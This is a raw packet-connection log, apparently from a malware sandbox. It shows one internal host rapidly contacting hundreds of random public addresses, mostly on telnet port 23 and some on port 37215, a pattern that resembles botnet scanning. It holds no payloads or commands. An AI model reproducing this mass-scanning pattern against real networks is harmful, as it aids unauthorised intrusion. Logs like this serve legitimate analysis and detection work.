Jan 5, 2025 14:34:54.832149029 CET	52018	23	192.168.2.13	210.132.41.207
Jan 5, 2025 14:34:54.832149029 CET	43718	23	192.168.2.13	116.6.67.71
Jan 5, 2025 14:34:54.832154989 CET	40718	23	192.168.2.13	124.30.231.141
Jan 5, 2025 14:34:54.832155943 CET	45072	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:54.832155943 CET	54236	23	192.168.2.13	108.54.252.117
Jan 5, 2025 14:34:54.832155943 CET	38538	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:54.832166910 CET	43298	23	192.168.2.13	9.159.71.35
Jan 5, 2025 14:34:54.832170963 CET	48996	23	192.168.2.13	103.102.48.33
Jan 5, 2025 14:34:54.832170963 CET	33742	23	192.168.2.13	199.102.116.109
Jan 5, 2025 14:34:54.836986065 CET	23	52018	210.132.41.207	192.168.2.13
Jan 5, 2025 14:34:54.837038994 CET	52018	23	192.168.2.13	210.132.41.207
Jan 5, 2025 14:34:54.837064981 CET	23	43718	116.6.67.71	192.168.2.13
Jan 5, 2025 14:34:54.837111950 CET	43718	23	192.168.2.13	116.6.67.71
Jan 5, 2025 14:34:54.864155054 CET	41584	23	192.168.2.13	77.212.251.73
Jan 5, 2025 14:34:54.864156008 CET	48340	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:54.864156008 CET	44874	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:34:54.864164114 CET	41162	23	192.168.2.13	23.252.32.13
Jan 5, 2025 14:34:54.864176035 CET	60026	23	192.168.2.13	172.137.92.232
Jan 5, 2025 14:34:54.864176035 CET	48588	23	192.168.2.13	89.187.214.24
Jan 5, 2025 14:34:54.864178896 CET	50116	23	192.168.2.13	165.27.223.215
Jan 5, 2025 14:34:54.864182949 CET	34204	23	192.168.2.13	117.41.8.6
Jan 5, 2025 14:34:54.864187002 CET	54366	23	192.168.2.13	193.138.201.14
Jan 5, 2025 14:34:54.864187002 CET	33356	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:54.864187002 CET	33814	23	192.168.2.13	159.228.21.229
Jan 5, 2025 14:34:54.864188910 CET	45200	23	192.168.2.13	161.107.126.215
Jan 5, 2025 14:34:54.864188910 CET	40856	23	192.168.2.13	94.239.228.202
Jan 5, 2025 14:34:54.864188910 CET	43696	23	192.168.2.13	189.210.252.131
Jan 5, 2025 14:34:54.864188910 CET	52848	23	192.168.2.13	176.62.17.197
Jan 5, 2025 14:34:54.864193916 CET	36216	23	192.168.2.13	42.206.9.68
Jan 5, 2025 14:34:54.864195108 CET	55278	23	192.168.2.13	174.99.165.96
Jan 5, 2025 14:34:54.864193916 CET	57844	23	192.168.2.13	216.73.220.29
Jan 5, 2025 14:34:54.864206076 CET	55994	23	192.168.2.13	124.249.59.186
Jan 5, 2025 14:34:54.864207029 CET	58640	23	192.168.2.13	116.62.184.45
Jan 5, 2025 14:34:54.864207029 CET	56522	23	192.168.2.13	88.49.37.108
Jan 5, 2025 14:34:54.869021893 CET	80	48340	17.149.159.4	192.168.2.13
Jan 5, 2025 14:34:54.869034052 CET	23	41584	77.212.251.73	192.168.2.13
Jan 5, 2025 14:34:54.869041920 CET	23	44874	196.85.151.212	192.168.2.13
Jan 5, 2025 14:34:54.869051933 CET	23	41162	23.252.32.13	192.168.2.13
Jan 5, 2025 14:34:54.869093895 CET	48340	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:54.869096994 CET	41584	23	192.168.2.13	77.212.251.73
Jan 5, 2025 14:34:54.869103909 CET	44874	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:34:54.869117975 CET	41162	23	192.168.2.13	23.252.32.13
Jan 5, 2025 14:34:54.869229078 CET	48340	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:54.874165058 CET	80	48340	17.149.159.4	192.168.2.13
Jan 5, 2025 14:34:54.874207020 CET	48340	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:54.896153927 CET	45360	23	192.168.2.13	95.137.136.0
Jan 5, 2025 14:34:54.896157026 CET	53708	23	192.168.2.13	70.6.210.210
Jan 5, 2025 14:34:54.896162987 CET	33598	23	192.168.2.13	71.72.102.221
Jan 5, 2025 14:34:54.896173954 CET	41798	23	192.168.2.13	164.163.92.248
Jan 5, 2025 14:34:54.896178007 CET	34882	23	192.168.2.13	69.102.43.202
Jan 5, 2025 14:34:54.896178961 CET	43598	23	192.168.2.13	209.167.167.43
Jan 5, 2025 14:34:54.896178961 CET	50860	23	192.168.2.13	120.177.111.158
Jan 5, 2025 14:34:54.896178961 CET	41678	23	192.168.2.13	141.166.199.240
Jan 5, 2025 14:34:54.896181107 CET	55768	23	192.168.2.13	84.160.137.155
Jan 5, 2025 14:34:54.896188021 CET	45276	23	192.168.2.13	113.1.234.68
Jan 5, 2025 14:34:54.896189928 CET	53486	23	192.168.2.13	157.159.238.248
Jan 5, 2025 14:34:54.896190882 CET	50306	23	192.168.2.13	18.35.143.196
Jan 5, 2025 14:34:54.896198988 CET	41898	23	192.168.2.13	223.130.156.254
Jan 5, 2025 14:34:54.896205902 CET	36564	23	192.168.2.13	188.42.65.65
Jan 5, 2025 14:34:54.896205902 CET	46964	23	192.168.2.13	69.238.78.79
Jan 5, 2025 14:34:54.896203041 CET	35384	23	192.168.2.13	119.98.226.210
Jan 5, 2025 14:34:54.896203041 CET	59646	23	192.168.2.13	84.19.213.225
Jan 5, 2025 14:34:54.896215916 CET	51592	23	192.168.2.13	136.77.55.253
Jan 5, 2025 14:34:54.896222115 CET	57670	23	192.168.2.13	191.166.58.189
Jan 5, 2025 14:34:54.896222115 CET	35548	23	192.168.2.13	17.135.91.220
Jan 5, 2025 14:34:54.896224022 CET	55160	23	192.168.2.13	82.114.48.162
Jan 5, 2025 14:34:54.900973082 CET	23	45360	95.137.136.0	192.168.2.13
Jan 5, 2025 14:34:54.900985003 CET	23	53708	70.6.210.210	192.168.2.13
Jan 5, 2025 14:34:54.900994062 CET	23	33598	71.72.102.221	192.168.2.13
Jan 5, 2025 14:34:54.901034117 CET	45360	23	192.168.2.13	95.137.136.0
Jan 5, 2025 14:34:54.901036978 CET	33598	23	192.168.2.13	71.72.102.221
Jan 5, 2025 14:34:54.901056051 CET	53708	23	192.168.2.13	70.6.210.210
Jan 5, 2025 14:34:54.928188086 CET	33764	23	192.168.2.13	35.234.113.178
Jan 5, 2025 14:34:54.928189993 CET	40350	23	192.168.2.13	69.53.157.205
Jan 5, 2025 14:34:54.928205013 CET	38054	23	192.168.2.13	67.124.151.66
Jan 5, 2025 14:34:54.928205967 CET	36238	23	192.168.2.13	160.55.88.43
Jan 5, 2025 14:34:54.928209066 CET	39338	23	192.168.2.13	138.36.223.72
Jan 5, 2025 14:34:54.928212881 CET	40198	23	192.168.2.13	204.126.194.150
Jan 5, 2025 14:34:54.928221941 CET	49888	23	192.168.2.13	157.119.15.147
Jan 5, 2025 14:34:54.928227901 CET	59986	23	192.168.2.13	72.176.82.174
Jan 5, 2025 14:34:54.928226948 CET	45944	23	192.168.2.13	110.23.108.178
Jan 5, 2025 14:34:54.928226948 CET	41524	23	192.168.2.13	70.17.146.154
Jan 5, 2025 14:34:54.928242922 CET	45558	23	192.168.2.13	207.178.143.202
Jan 5, 2025 14:34:54.928246975 CET	51224	23	192.168.2.13	118.244.137.53
Jan 5, 2025 14:34:54.928246975 CET	46138	23	192.168.2.13	148.231.139.46
Jan 5, 2025 14:34:54.928246975 CET	47884	23	192.168.2.13	75.65.77.94
Jan 5, 2025 14:34:54.928260088 CET	43574	23	192.168.2.13	164.69.214.149
Jan 5, 2025 14:34:54.928267002 CET	47788	23	192.168.2.13	20.105.176.211
Jan 5, 2025 14:34:54.928267002 CET	34082	23	192.168.2.13	34.34.62.125
Jan 5, 2025 14:34:54.928272009 CET	42442	23	192.168.2.13	133.16.187.164
Jan 5, 2025 14:34:54.928280115 CET	42694	23	192.168.2.13	191.28.203.118
Jan 5, 2025 14:34:54.928282022 CET	42394	23	192.168.2.13	135.20.8.103
Jan 5, 2025 14:34:54.928287029 CET	57260	23	192.168.2.13	133.130.255.226
Jan 5, 2025 14:34:54.928287983 CET	35594	23	192.168.2.13	64.110.223.253
Jan 5, 2025 14:34:54.928291082 CET	35926	23	192.168.2.13	77.153.239.134
Jan 5, 2025 14:34:54.928298950 CET	44832	23	192.168.2.13	168.97.13.213
Jan 5, 2025 14:34:54.933058977 CET	23	33764	35.234.113.178	192.168.2.13
Jan 5, 2025 14:34:54.933069944 CET	23	40350	69.53.157.205	192.168.2.13
Jan 5, 2025 14:34:54.933074951 CET	23	36238	160.55.88.43	192.168.2.13
Jan 5, 2025 14:34:54.933120012 CET	33764	23	192.168.2.13	35.234.113.178
Jan 5, 2025 14:34:54.933120012 CET	36238	23	192.168.2.13	160.55.88.43
Jan 5, 2025 14:34:54.933121920 CET	40350	23	192.168.2.13	69.53.157.205
Jan 5, 2025 14:34:54.960155010 CET	55496	23	192.168.2.13	85.198.247.101
Jan 5, 2025 14:34:54.960155010 CET	34562	23	192.168.2.13	175.101.166.97
Jan 5, 2025 14:34:54.960155010 CET	51828	23	192.168.2.13	19.66.193.236
Jan 5, 2025 14:34:54.960160017 CET	41036	23	192.168.2.13	103.165.122.61
Jan 5, 2025 14:34:54.960160971 CET	40636	23	192.168.2.13	75.59.253.228
Jan 5, 2025 14:34:54.960166931 CET	53744	23	192.168.2.13	67.20.221.51
Jan 5, 2025 14:34:54.960175037 CET	45036	23	192.168.2.13	67.157.1.194
Jan 5, 2025 14:34:54.960175037 CET	44458	23	192.168.2.13	38.238.163.136
Jan 5, 2025 14:34:54.960181952 CET	42902	23	192.168.2.13	170.34.2.47
Jan 5, 2025 14:34:54.960182905 CET	60026	23	192.168.2.13	126.67.151.215
Jan 5, 2025 14:34:54.960182905 CET	49012	23	192.168.2.13	59.254.232.109
Jan 5, 2025 14:34:54.960189104 CET	34876	23	192.168.2.13	141.206.189.98
Jan 5, 2025 14:34:54.960195065 CET	39374	23	192.168.2.13	167.103.135.156
Jan 5, 2025 14:34:54.960202932 CET	33072	23	192.168.2.13	185.149.71.50
Jan 5, 2025 14:34:54.960202932 CET	59084	23	192.168.2.13	80.75.34.72
Jan 5, 2025 14:34:54.960202932 CET	45336	23	192.168.2.13	17.71.221.122
Jan 5, 2025 14:34:54.960202932 CET	52142	23	192.168.2.13	137.2.203.113
Jan 5, 2025 14:34:54.960206985 CET	55508	23	192.168.2.13	206.170.148.214
Jan 5, 2025 14:34:54.960220098 CET	40902	23	192.168.2.13	159.34.126.131
Jan 5, 2025 14:34:54.960231066 CET	38446	23	192.168.2.13	173.34.108.81
Jan 5, 2025 14:34:54.960231066 CET	35832	23	192.168.2.13	53.94.45.161
Jan 5, 2025 14:34:54.960233927 CET	51672	23	192.168.2.13	25.88.34.154
Jan 5, 2025 14:34:54.960237980 CET	41674	23	192.168.2.13	193.221.3.204
Jan 5, 2025 14:34:54.960237980 CET	59574	23	192.168.2.13	113.246.89.170
Jan 5, 2025 14:34:54.960237980 CET	60274	23	192.168.2.13	200.5.75.161
Jan 5, 2025 14:34:54.960239887 CET	56576	23	192.168.2.13	117.202.251.54
Jan 5, 2025 14:34:54.960239887 CET	35070	23	192.168.2.13	124.184.168.141
Jan 5, 2025 14:34:54.960241079 CET	38976	23	192.168.2.13	201.200.28.86
Jan 5, 2025 14:34:54.960241079 CET	47414	23	192.168.2.13	117.211.174.252
Jan 5, 2025 14:34:54.960249901 CET	43148	23	192.168.2.13	45.192.98.116
Jan 5, 2025 14:34:54.964973927 CET	23	34562	175.101.166.97	192.168.2.13
Jan 5, 2025 14:34:54.964983940 CET	23	55496	85.198.247.101	192.168.2.13
Jan 5, 2025 14:34:54.964997053 CET	23	51828	19.66.193.236	192.168.2.13
Jan 5, 2025 14:34:54.965019941 CET	34562	23	192.168.2.13	175.101.166.97
Jan 5, 2025 14:34:54.965046883 CET	55496	23	192.168.2.13	85.198.247.101
Jan 5, 2025 14:34:54.965046883 CET	51828	23	192.168.2.13	19.66.193.236
Jan 5, 2025 14:34:54.992161989 CET	37754	23	192.168.2.13	164.245.203.110
Jan 5, 2025 14:34:54.992203951 CET	58244	23	192.168.2.13	116.181.72.250
Jan 5, 2025 14:34:54.997005939 CET	23	37754	164.245.203.110	192.168.2.13
Jan 5, 2025 14:34:54.997016907 CET	23	58244	116.181.72.250	192.168.2.13
Jan 5, 2025 14:34:54.997204065 CET	29476	23	192.168.2.13	220.142.48.57
Jan 5, 2025 14:34:54.997205019 CET	29476	23	192.168.2.13	32.195.139.165
Jan 5, 2025 14:34:54.997205019 CET	29476	23	192.168.2.13	92.14.113.202
Jan 5, 2025 14:34:54.997205019 CET	29476	23	192.168.2.13	186.138.202.63
Jan 5, 2025 14:34:54.997206926 CET	29476	23	192.168.2.13	61.169.240.217
Jan 5, 2025 14:34:54.997206926 CET	29476	23	192.168.2.13	186.18.78.131
Jan 5, 2025 14:34:54.997208118 CET	29476	23	192.168.2.13	72.141.83.152
Jan 5, 2025 14:34:54.997208118 CET	29476	23	192.168.2.13	184.149.147.216
Jan 5, 2025 14:34:54.997210026 CET	29476	23	192.168.2.13	12.19.30.33
Jan 5, 2025 14:34:54.997208118 CET	29476	23	192.168.2.13	87.113.134.240
Jan 5, 2025 14:34:54.997210026 CET	29476	23	192.168.2.13	46.132.75.122
Jan 5, 2025 14:34:54.997208118 CET	29476	23	192.168.2.13	119.7.101.170
Jan 5, 2025 14:34:54.997208118 CET	29476	23	192.168.2.13	78.238.177.108
Jan 5, 2025 14:34:54.997206926 CET	29476	23	192.168.2.13	218.227.116.56
Jan 5, 2025 14:34:54.997208118 CET	29476	23	192.168.2.13	5.1.130.47
Jan 5, 2025 14:34:54.997210026 CET	29476	23	192.168.2.13	150.129.169.65
Jan 5, 2025 14:34:54.997206926 CET	29476	23	192.168.2.13	188.8.206.26
Jan 5, 2025 14:34:54.997210026 CET	29476	23	192.168.2.13	212.96.68.21
Jan 5, 2025 14:34:54.997208118 CET	29476	23	192.168.2.13	62.198.135.182
Jan 5, 2025 14:34:54.997210026 CET	29476	23	192.168.2.13	168.248.160.238
Jan 5, 2025 14:34:54.997209072 CET	29476	23	192.168.2.13	27.145.150.247
Jan 5, 2025 14:34:54.997206926 CET	29476	23	192.168.2.13	86.117.45.251
Jan 5, 2025 14:34:54.997206926 CET	29476	23	192.168.2.13	199.251.34.111
Jan 5, 2025 14:34:54.997206926 CET	29476	23	192.168.2.13	78.109.203.200
Jan 5, 2025 14:34:54.997206926 CET	29476	23	192.168.2.13	42.178.55.146
Jan 5, 2025 14:34:54.997232914 CET	29476	23	192.168.2.13	85.88.137.36
Jan 5, 2025 14:34:54.997232914 CET	29476	23	192.168.2.13	212.186.155.232
Jan 5, 2025 14:34:54.997232914 CET	29476	23	192.168.2.13	79.193.153.104
Jan 5, 2025 14:34:54.997240067 CET	29476	23	192.168.2.13	164.162.53.193
Jan 5, 2025 14:34:54.997240067 CET	29476	23	192.168.2.13	71.226.86.70
Jan 5, 2025 14:34:54.997240067 CET	29476	23	192.168.2.13	172.242.72.193
Jan 5, 2025 14:34:54.997240067 CET	29476	23	192.168.2.13	38.195.165.4
Jan 5, 2025 14:34:54.997240067 CET	29476	23	192.168.2.13	146.91.180.156
Jan 5, 2025 14:34:54.997246981 CET	29476	23	192.168.2.13	85.4.197.135
Jan 5, 2025 14:34:54.997248888 CET	58244	23	192.168.2.13	116.181.72.250
Jan 5, 2025 14:34:54.997251034 CET	29476	23	192.168.2.13	110.197.26.81
Jan 5, 2025 14:34:54.997248888 CET	29476	23	192.168.2.13	70.118.99.46
Jan 5, 2025 14:34:54.997252941 CET	29476	23	192.168.2.13	12.113.132.220
Jan 5, 2025 14:34:54.997251034 CET	29476	23	192.168.2.13	115.208.127.147
Jan 5, 2025 14:34:54.997252941 CET	29476	23	192.168.2.13	4.179.202.55
Jan 5, 2025 14:34:54.997248888 CET	29476	23	192.168.2.13	187.47.182.65
Jan 5, 2025 14:34:54.997252941 CET	29476	23	192.168.2.13	130.100.18.74
Jan 5, 2025 14:34:54.997251987 CET	29476	23	192.168.2.13	51.112.78.14
Jan 5, 2025 14:34:54.997252941 CET	29476	23	192.168.2.13	142.25.131.251
Jan 5, 2025 14:34:54.997251987 CET	29476	23	192.168.2.13	76.253.154.148
Jan 5, 2025 14:34:54.997248888 CET	29476	23	192.168.2.13	93.216.146.226
Jan 5, 2025 14:34:54.997252941 CET	29476	23	192.168.2.13	129.54.27.65
Jan 5, 2025 14:34:54.997251987 CET	29476	23	192.168.2.13	144.108.180.29
Jan 5, 2025 14:34:54.997251987 CET	29476	23	192.168.2.13	147.94.64.28
Jan 5, 2025 14:34:54.997248888 CET	37754	23	192.168.2.13	164.245.203.110
Jan 5, 2025 14:34:54.997248888 CET	29476	23	192.168.2.13	92.198.140.174
Jan 5, 2025 14:34:54.997248888 CET	29476	23	192.168.2.13	32.16.97.72
Jan 5, 2025 14:34:54.997250080 CET	29476	23	192.168.2.13	72.39.132.72
Jan 5, 2025 14:34:54.997250080 CET	29476	23	192.168.2.13	115.54.246.197
Jan 5, 2025 14:34:54.997250080 CET	29476	23	192.168.2.13	68.98.250.232
Jan 5, 2025 14:34:54.997272015 CET	29476	23	192.168.2.13	105.207.75.166
Jan 5, 2025 14:34:54.997272015 CET	29476	23	192.168.2.13	92.11.213.188
Jan 5, 2025 14:34:54.997287035 CET	29476	23	192.168.2.13	36.1.34.72
Jan 5, 2025 14:34:54.997287035 CET	29476	23	192.168.2.13	198.7.145.56
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	118.7.165.165
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	81.42.235.92
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	60.172.45.71
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	188.25.166.203
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	176.99.45.125
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	160.149.38.81
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	197.224.242.159
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	139.47.28.46
Jan 5, 2025 14:34:54.997292042 CET	29476	23	192.168.2.13	206.158.18.9
Jan 5, 2025 14:34:54.997292042 CET	29476	23	192.168.2.13	32.225.227.251
Jan 5, 2025 14:34:54.997294903 CET	29476	23	192.168.2.13	203.173.67.142
Jan 5, 2025 14:34:54.997297049 CET	29476	23	192.168.2.13	205.230.117.86
Jan 5, 2025 14:34:54.997292995 CET	29476	23	192.168.2.13	1.209.200.73
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	131.38.252.254
Jan 5, 2025 14:34:54.997292995 CET	29476	23	192.168.2.13	182.112.255.39
Jan 5, 2025 14:34:54.997297049 CET	29476	23	192.168.2.13	17.36.227.63
Jan 5, 2025 14:34:54.997292995 CET	29476	23	192.168.2.13	140.52.36.214
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	201.134.31.92
Jan 5, 2025 14:34:54.997292995 CET	29476	23	192.168.2.13	145.104.114.29
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	75.25.255.0
Jan 5, 2025 14:34:54.997292042 CET	29476	23	192.168.2.13	197.211.212.103
Jan 5, 2025 14:34:54.997289896 CET	29476	23	192.168.2.13	223.224.1.51
Jan 5, 2025 14:34:54.997292042 CET	29476	23	192.168.2.13	44.75.247.41
Jan 5, 2025 14:34:54.997292042 CET	29476	23	192.168.2.13	102.231.209.83
Jan 5, 2025 14:34:54.997292042 CET	29476	23	192.168.2.13	37.105.66.227
Jan 5, 2025 14:34:54.997292042 CET	29476	23	192.168.2.13	18.23.85.185
Jan 5, 2025 14:34:54.997306108 CET	29476	23	192.168.2.13	200.117.201.141
Jan 5, 2025 14:34:54.997306108 CET	29476	23	192.168.2.13	183.177.65.163
Jan 5, 2025 14:34:54.997297049 CET	29476	23	192.168.2.13	153.174.128.114
Jan 5, 2025 14:34:54.997297049 CET	29476	23	192.168.2.13	211.15.52.92
Jan 5, 2025 14:34:54.997297049 CET	29476	23	192.168.2.13	48.1.203.75
Jan 5, 2025 14:34:54.997297049 CET	29476	23	192.168.2.13	126.110.230.63
Jan 5, 2025 14:34:54.997297049 CET	29476	23	192.168.2.13	141.206.210.174
Jan 5, 2025 14:34:54.997309923 CET	29476	23	192.168.2.13	73.107.2.70
Jan 5, 2025 14:34:54.997309923 CET	29476	23	192.168.2.13	115.189.164.212
Jan 5, 2025 14:34:54.997312069 CET	29476	23	192.168.2.13	97.243.86.79
Jan 5, 2025 14:34:54.997312069 CET	29476	23	192.168.2.13	175.46.0.172
Jan 5, 2025 14:34:54.997315884 CET	29476	23	192.168.2.13	89.36.214.170
Jan 5, 2025 14:34:54.997315884 CET	29476	23	192.168.2.13	216.217.23.92
Jan 5, 2025 14:34:54.997315884 CET	29476	23	192.168.2.13	211.126.110.251
Jan 5, 2025 14:34:54.997315884 CET	29476	23	192.168.2.13	12.165.175.187
Jan 5, 2025 14:34:54.997323990 CET	29476	23	192.168.2.13	154.126.37.171
Jan 5, 2025 14:34:54.997323990 CET	29476	23	192.168.2.13	46.109.182.239
Jan 5, 2025 14:34:54.997323990 CET	29476	23	192.168.2.13	133.128.42.218
Jan 5, 2025 14:34:54.997328043 CET	29476	23	192.168.2.13	88.13.153.176
Jan 5, 2025 14:34:54.997328043 CET	29476	23	192.168.2.13	69.145.67.84
Jan 5, 2025 14:34:54.997328043 CET	29476	23	192.168.2.13	173.88.57.3
Jan 5, 2025 14:34:54.997328997 CET	29476	23	192.168.2.13	43.3.56.65
Jan 5, 2025 14:34:54.997328043 CET	29476	23	192.168.2.13	98.120.126.111
Jan 5, 2025 14:34:54.997328997 CET	29476	23	192.168.2.13	185.14.182.231
Jan 5, 2025 14:34:54.997328043 CET	29476	23	192.168.2.13	43.79.187.108
Jan 5, 2025 14:34:54.997328043 CET	29476	23	192.168.2.13	70.225.110.250
Jan 5, 2025 14:34:54.997328043 CET	29476	23	192.168.2.13	146.131.191.196
Jan 5, 2025 14:34:54.997328043 CET	29476	23	192.168.2.13	139.144.32.93
Jan 5, 2025 14:34:54.997332096 CET	29476	23	192.168.2.13	84.126.90.198
Jan 5, 2025 14:34:54.997333050 CET	29476	23	192.168.2.13	194.120.190.199
Jan 5, 2025 14:34:54.997333050 CET	29476	23	192.168.2.13	198.39.229.214
Jan 5, 2025 14:34:54.997333050 CET	29476	23	192.168.2.13	25.206.202.231
Jan 5, 2025 14:34:54.997338057 CET	29476	23	192.168.2.13	61.135.43.22
Jan 5, 2025 14:34:54.997338057 CET	29476	23	192.168.2.13	134.176.247.244
Jan 5, 2025 14:34:54.997340918 CET	29476	23	192.168.2.13	105.89.52.76
Jan 5, 2025 14:34:54.997342110 CET	29476	23	192.168.2.13	110.35.27.200
Jan 5, 2025 14:34:54.997342110 CET	29476	23	192.168.2.13	147.119.147.71
Jan 5, 2025 14:34:54.997347116 CET	29476	23	192.168.2.13	91.46.56.42
Jan 5, 2025 14:34:54.997349977 CET	29476	23	192.168.2.13	79.207.44.35
Jan 5, 2025 14:34:54.997349977 CET	29476	23	192.168.2.13	155.170.98.24
Jan 5, 2025 14:34:54.997355938 CET	29476	23	192.168.2.13	52.16.166.18
Jan 5, 2025 14:34:54.997355938 CET	29476	23	192.168.2.13	78.120.209.200
Jan 5, 2025 14:34:54.997361898 CET	29476	23	192.168.2.13	121.242.5.31
Jan 5, 2025 14:34:54.997361898 CET	29476	23	192.168.2.13	196.241.184.129
Jan 5, 2025 14:34:54.997371912 CET	29476	23	192.168.2.13	149.194.50.143
Jan 5, 2025 14:34:54.997384071 CET	29476	23	192.168.2.13	220.198.68.136
Jan 5, 2025 14:34:54.997395992 CET	29476	23	192.168.2.13	59.154.175.107
Jan 5, 2025 14:34:54.997405052 CET	29476	23	192.168.2.13	187.128.173.104
Jan 5, 2025 14:34:54.997422934 CET	29476	23	192.168.2.13	13.120.13.89
Jan 5, 2025 14:34:54.997423887 CET	29476	23	192.168.2.13	25.129.219.7
Jan 5, 2025 14:34:54.997433901 CET	29476	23	192.168.2.13	48.190.206.100
Jan 5, 2025 14:34:54.997433901 CET	29476	23	192.168.2.13	116.217.107.45
Jan 5, 2025 14:34:54.997433901 CET	29476	23	192.168.2.13	20.140.230.225
Jan 5, 2025 14:34:54.997452974 CET	29476	23	192.168.2.13	201.197.20.178
Jan 5, 2025 14:34:54.997453928 CET	29476	23	192.168.2.13	222.32.252.21
Jan 5, 2025 14:34:54.997456074 CET	29476	23	192.168.2.13	44.235.111.211
Jan 5, 2025 14:34:54.997457027 CET	29476	23	192.168.2.13	90.163.66.155
Jan 5, 2025 14:34:54.997464895 CET	29476	23	192.168.2.13	100.13.20.118
Jan 5, 2025 14:34:54.997476101 CET	29476	23	192.168.2.13	146.14.19.184
Jan 5, 2025 14:34:54.997483015 CET	29476	23	192.168.2.13	91.141.179.49
Jan 5, 2025 14:34:54.997492075 CET	29476	23	192.168.2.13	208.109.212.113
Jan 5, 2025 14:34:54.997499943 CET	29476	23	192.168.2.13	135.85.57.127
Jan 5, 2025 14:34:54.997504950 CET	29476	23	192.168.2.13	175.132.37.83
Jan 5, 2025 14:34:54.997504950 CET	29476	23	192.168.2.13	98.58.187.223
Jan 5, 2025 14:34:54.997514009 CET	29476	23	192.168.2.13	182.211.179.153
Jan 5, 2025 14:34:54.997524023 CET	29476	23	192.168.2.13	14.66.164.82
Jan 5, 2025 14:34:54.997529984 CET	29476	23	192.168.2.13	206.153.95.210
Jan 5, 2025 14:34:54.997534037 CET	29476	23	192.168.2.13	212.96.220.235
Jan 5, 2025 14:34:54.997538090 CET	29476	23	192.168.2.13	164.226.171.191
Jan 5, 2025 14:34:54.997545004 CET	29476	23	192.168.2.13	76.113.3.166
Jan 5, 2025 14:34:54.997545004 CET	29476	23	192.168.2.13	160.122.197.106
Jan 5, 2025 14:34:54.997555017 CET	29476	23	192.168.2.13	112.121.40.115
Jan 5, 2025 14:34:54.997556925 CET	29476	23	192.168.2.13	181.164.208.235
Jan 5, 2025 14:34:54.997570992 CET	29476	23	192.168.2.13	212.54.138.50
Jan 5, 2025 14:34:54.997570992 CET	29476	23	192.168.2.13	138.141.237.154
Jan 5, 2025 14:34:54.997587919 CET	29476	23	192.168.2.13	68.207.54.71
Jan 5, 2025 14:34:54.997590065 CET	29476	23	192.168.2.13	199.183.86.43
Jan 5, 2025 14:34:54.997590065 CET	29476	23	192.168.2.13	211.136.222.8
Jan 5, 2025 14:34:54.997592926 CET	29476	23	192.168.2.13	167.53.149.100
Jan 5, 2025 14:34:54.997607946 CET	29476	23	192.168.2.13	5.216.182.149
Jan 5, 2025 14:34:54.997613907 CET	29476	23	192.168.2.13	115.253.168.228
Jan 5, 2025 14:34:54.997616053 CET	29476	23	192.168.2.13	200.125.240.148
Jan 5, 2025 14:34:54.997616053 CET	29476	23	192.168.2.13	70.160.177.124
Jan 5, 2025 14:34:54.997618914 CET	29476	23	192.168.2.13	131.241.34.211
Jan 5, 2025 14:34:54.997622967 CET	29476	23	192.168.2.13	181.38.44.223
Jan 5, 2025 14:34:54.997622967 CET	29476	23	192.168.2.13	200.15.44.113
Jan 5, 2025 14:34:54.997629881 CET	29476	23	192.168.2.13	59.130.178.145
Jan 5, 2025 14:34:54.997646093 CET	29476	23	192.168.2.13	77.159.225.19
Jan 5, 2025 14:34:54.997653008 CET	29476	23	192.168.2.13	189.102.215.140
Jan 5, 2025 14:34:54.997653008 CET	29476	23	192.168.2.13	63.76.115.133
Jan 5, 2025 14:34:54.997667074 CET	29476	23	192.168.2.13	77.191.8.190
Jan 5, 2025 14:34:54.997668028 CET	29476	23	192.168.2.13	144.178.194.134
Jan 5, 2025 14:34:54.997678041 CET	29476	23	192.168.2.13	41.92.116.251
Jan 5, 2025 14:34:54.997685909 CET	29476	23	192.168.2.13	38.67.229.131
Jan 5, 2025 14:34:54.997695923 CET	29476	23	192.168.2.13	13.202.60.104
Jan 5, 2025 14:34:54.997695923 CET	29476	23	192.168.2.13	78.16.104.236
Jan 5, 2025 14:34:54.997703075 CET	29476	23	192.168.2.13	92.202.131.207
Jan 5, 2025 14:34:54.997704029 CET	29476	23	192.168.2.13	41.16.97.229
Jan 5, 2025 14:34:54.997706890 CET	29476	23	192.168.2.13	188.152.31.212
Jan 5, 2025 14:34:54.997723103 CET	29476	23	192.168.2.13	62.237.196.83
Jan 5, 2025 14:34:54.997725964 CET	29476	23	192.168.2.13	202.189.1.230
Jan 5, 2025 14:34:54.997731924 CET	29476	23	192.168.2.13	171.213.193.208
Jan 5, 2025 14:34:54.997731924 CET	29476	23	192.168.2.13	12.179.197.113
Jan 5, 2025 14:34:54.997746944 CET	29476	23	192.168.2.13	76.67.35.16
Jan 5, 2025 14:34:54.997746944 CET	29476	23	192.168.2.13	192.178.199.169
Jan 5, 2025 14:34:54.997746944 CET	29476	23	192.168.2.13	64.165.41.176
Jan 5, 2025 14:34:54.997749090 CET	29476	23	192.168.2.13	13.151.251.224
Jan 5, 2025 14:34:54.997771025 CET	29476	23	192.168.2.13	222.202.14.100
Jan 5, 2025 14:34:54.997778893 CET	29476	23	192.168.2.13	176.46.196.242
Jan 5, 2025 14:34:54.997778893 CET	29476	23	192.168.2.13	183.41.18.80
Jan 5, 2025 14:34:54.997778893 CET	29476	23	192.168.2.13	198.10.170.3
Jan 5, 2025 14:34:54.997780085 CET	29476	23	192.168.2.13	89.119.71.99
Jan 5, 2025 14:34:54.997792959 CET	29476	23	192.168.2.13	189.185.152.89
